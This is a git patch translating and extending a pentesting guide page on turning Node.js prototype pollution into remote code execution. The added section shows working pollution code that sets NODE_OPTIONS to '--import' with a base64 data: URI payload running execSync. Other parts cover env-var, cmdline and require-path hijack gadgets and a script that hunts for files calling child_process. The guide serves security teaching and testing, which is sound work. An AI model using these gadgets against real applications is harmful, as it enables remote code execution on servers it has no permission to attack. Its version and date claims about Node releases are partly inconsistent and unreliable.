From 7371191e83e772cc31e70ada53095503ed168c41 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 14:16:54 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p --- .../prototype-pollution-to-rce.md | 93 ++++++++++++++----- 1 file changed, 70 insertions(+), 23 deletions(-) diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index 27feecce8..95fb307a2 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -1,10 +1,10 @@ -# 原型污染到 RCE +# Prototype Pollution to RCE {{#include ../../../banners/hacktricks-training.md}} -## 易受攻击的代码 +## Vulnerable Code -想象一下一个真实的 JS 使用以下代码: +想象一个真实的 JS 使用以下代码: ```javascript const { execSync, fork } = require("child_process") @@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -检查代码,你可以看到通过**污染**属性**`.env`**可以**毒害 `envPairs`**。 +检查代码,你可以看到通过**污染**属性**`.env`**可以实现**毒化 `envPairs`**。 -### **毒害 `__proto__`** +### **毒化 `__proto__`** > [!WARNING] -> 请注意,由于**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式,当调用某个函数以**设置新的环境变量**时,你只需**污染任何东西**。\ -> 例如,如果你执行`__proto__.avar="valuevar"`,进程将以名为`avar`且值为`valuevar`的变量启动。 +> 请注意,由于node的**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式,当调用某个函数以**设置新的环境变量**时,你只需要**污染任何东西**。\ +> 例如,如果你执行`__proto__.avar="valuevar"`,进程将以一个名为`avar`且值为`valuevar`的变量被生成。 > > 然而,为了使**环境变量成为第一个**,你需要**污染****`.env`属性**,并且(仅在某些方法中)该变量将是**第一个**(允许攻击)。 > -> 这就是为什么在以下攻击中**`NODE_OPTIONS`**不在**`.env`**中的原因。 +> 这就是为什么在以下攻击中**`NODE_OPTIONS`**不在**`.env`**内。 ```javascript const { execSync, fork } = require("child_process") @@ -120,11 +120,11 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec2 ``` -## PP2RCE 通过环境变量 + 命令行 +## PP2RCE via env vars + cmdline -一个与之前类似的有效载荷经过一些更改后在 [**这篇文章**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**中提出**。主要区别如下: +与之前的有效载荷类似,提出了一种有一些变化的有效载荷在 [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** 主要区别在于: -- 它不是将 nodejs **有效载荷** 存储在文件 `/proc/self/environ` 中,而是存储在 **`/proc/self/cmdline`** 的 **argv0** 中。 +- 它不是将 nodejs **payload** 存储在文件 `/proc/self/environ` 中,而是存储在 **`/proc/self/cmdline`** 的 **argv0** 中。 - 然后,它不是通过 **`NODE_OPTIONS`** 要求文件 `/proc/self/environ`,而是 **要求 `/proc/self/cmdline`**。 ```javascript const { execSync, fork } = require("child_process") @@ -149,6 +149,47 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` +## Filesystem-less PP2RCE via `--import` (Node ≥ 19) + +> [!NOTE] +> 自 **Node.js 19** 起,CLI 标志 `--import` 可以通过 `NODE_OPTIONS` 传递,方式与 `--require` 相同。与 `--require` 不同,`--import` 理解 **data-URIs**,因此攻击者根本 **不需要对文件系统的写入权限**。这使得该工具在受限或只读环境中更加可靠。 +> +> 该技术首次由 PortSwigger 研究在 2023 年 5 月公开记录,并已在多个 CTF 挑战中被复现。 + +该攻击在概念上与上面展示的 `--require /proc/self/*` 技巧相同,但我们不是指向一个文件,而是将有效负载直接嵌入一个 base64 编码的 `data:` URL: +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` +利用页面顶部显示的脆弱合并/克隆接收器: +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` +### 为什么 `--import` 有帮助 +1. **无磁盘交互** – 有效载荷完全在进程命令行和环境内部传输。 +2. **适用于仅支持 ESM 的环境** – `--import` 是在默认使用 ECMAScript 模块的现代 Node 版本中预加载 JavaScript 的标准方式。 +3. **绕过某些 `--require` 允许列表** – 一些加固库仅过滤 `--require`,而不影响 `--import`。 + +> [!WARNING] +> `NODE_OPTIONS` 中的 `--import` 支持在最新的 **Node 22.2.0**(2025年6月)中仍然存在。 Node 核心团队正在讨论未来限制数据 URI,但在撰写时没有可用的缓解措施。 + +--- + ## DNS 交互 使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测其是否有效: @@ -228,9 +269,9 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` 为了使 **`execFile`** 工作,它 **必须执行 node** 才能使 NODE_OPTIONS 生效。\ -如果它 **没有** 执行 **node**,你需要找到如何 **通过环境变量更改执行** 的方法,并设置它们。 +如果它 **没有** 执行 **node**,你需要找到如何通过 **环境变量** **更改执行** 的内容并设置它们。 -**其他** 技术 **在** 没有此要求的情况下 **工作**,因为 **可以通过原型污染修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在执行的内容)。 +**其他** 技术 **在** 没有此要求的情况下 **工作**,因为可以通过原型污染 **修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在执行的内容)。 @@ -463,18 +504,18 @@ var proc = spawnSync("something") ## 强制生成 -在之前的示例中,您看到如何触发小工具,功能需要**调用 `spawn`**的功能**存在**(所有用于执行某些操作的**`child_process`**方法都会调用它)。在之前的示例中,这是**代码的一部分**,但如果代码**没有**调用它呢? +在之前的示例中,您看到如何触发小工具,功能需要**调用 `spawn`**(所有用于执行某些操作的**`child_process`** 方法都会调用它)。在之前的示例中,这**是代码的一部分**,但如果代码**没有**调用它呢? ### 控制 require 文件路径 -在这个 [**其他写作**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) 中,用户可以控制将执行**`require`**的文件路径。在这种情况下,攻击者只需**找到系统中的一个 `.js` 文件**,该文件在导入时会**执行一个 spawn 方法。**\ +在这个 [**其他写作**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) 中,用户可以控制将执行的 **`require`** 的文件路径。在这种情况下,攻击者只需**找到系统中的一个 `.js` 文件**,该文件在导入时会**执行一个 spawn 方法。**\ 一些常见的在导入时调用 spawn 函数的文件示例包括: - /path/to/npm/scripts/changelog.js - /opt/yarn-v1.22.19/preinstall.js - 在下面**找到更多文件** -以下简单脚本将搜索**来自** **child_process**的**调用** **没有任何填充**(以避免显示函数内部的调用): +以下简单脚本将搜索**来自** **child_process** 的**调用** **没有任何填充**(以避免显示函数内部的调用): ```bash find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//' @@ -500,11 +541,11 @@ done ### 通过原型污染设置 require 文件路径 > [!WARNING] -> **之前的技术要求** **用户控制将要被 require 的文件路径**。但这并不总是正确的。 +> **之前的技术要求** **用户控制将要被 require 的文件的路径**。但这并不总是正确的。 然而,如果代码在原型污染后执行 require,即使你 **不控制将要被 require 的路径**,你 **可以通过滥用原型污染强制使用不同的路径**。因此,即使代码行是 `require("./a_file.js")` 或 `require("bytes")`,它将 **require 你污染的包**。 -因此,如果在你的原型污染后执行了 require 且没有 spawn 函数,这就是攻击: +因此,如果在你的原型污染后执行了 require 并且没有 spawn 函数,这就是攻击: - 找到一个 **系统内的 `.js` 文件**,当 **被 require 时**将 **使用 `child_process` 执行某些操作** - 如果你可以向你攻击的平台上传文件,你可以上传这样的文件 @@ -513,7 +554,7 @@ done #### 绝对 require -如果执行的 require 是 **绝对的** (`require("bytes")`) 并且 **包在 `package.json` 文件中不包含 main**,你可以 **污染 `main` 属性**,使 **require 执行不同的文件**。 +如果执行的 require 是 **绝对的** (`require("bytes")`) 并且 **包在 `package.json` 文件中不包含 main**,你可以 **污染 `main` 属性** 并使 **require 执行不同的文件**。 {{#tabs}} {{#tab name="exploit"}} @@ -556,7 +597,7 @@ fork("anything") #### 相对 require - 1 -如果加载的是 **相对路径** 而不是绝对路径,您可以使 node **加载不同的路径**: +如果加载的是**相对路径**而不是绝对路径,您可以使 node **加载不同的路径**: {{#tabs}} {{#tab name="exploit"}} @@ -636,9 +677,9 @@ fork("/path/to/anything") {{#endtab}} {{#endtabs}} -#### 相对require - 3 +#### 相对 require - 3 -与之前的类似,这在[**这篇文章**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)中发现。 +与之前的类似,这在 [**这篇文章**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs) 中被发现。 ```javascript // Requiring /opt/yarn-v1.22.19/preinstall.js Object.prototype["data"] = { @@ -668,10 +709,14 @@ require("./usage.js") 请注意,原型污染在访问的对象的 **attribute** 为 **undefined** 时有效。如果在 **code** 中该 **attribute** 被 **设置** 为一个 **value**,你 **将无法覆盖它**。 在 2022 年 6 月,从 [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) 开始,变量 `options` 不再是 `{}`,而是 **`kEmptyObject`**。这 **防止了原型污染** 影响 **`options`** 的 **attributes** 以获得 RCE。\ -至少从 v18.4.0 开始,这种保护已被 **实施**,因此 `spawn` 和 `spawnSync` **exploits** 影响的方法 **不再有效**(如果不使用 `options`!)。 +至少从 v18.4.0 开始,这种保护已被 **实施**,因此 `spawn` 和 `spawnSync` 的 **exploits** 不再影响这些方法(如果不使用 `options`!)。 在 [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) 中,vm 库的 **`contextExtensions`** 的 **prototype pollution** 也 **在某种程度上被修复**,将选项设置为 **`kEmptyObject`** 而不是 **`{}`**。 +> [!INFO] +> **Node 20 (2023年4月) 和 Node 22 (2025年4月)** 进行了进一步的强化:多个 `child_process` 辅助函数现在使用 **`CopyOptions()`** 复制用户提供的 `options`,而不是通过引用使用它们。这阻止了嵌套对象如 `stdio` 的污染,但 **并不保护上述描述的 `NODE_OPTIONS` / `--import` 技巧** – 这些标志仍然通过环境变量被接受。\ +> 完全修复需要限制哪些 CLI 标志可以从父进程传播,这在 Node Issue #50559 中被跟踪。 + ### **Other Gadgets** - [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) @@ -682,6 +727,8 @@ require("./usage.js") - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}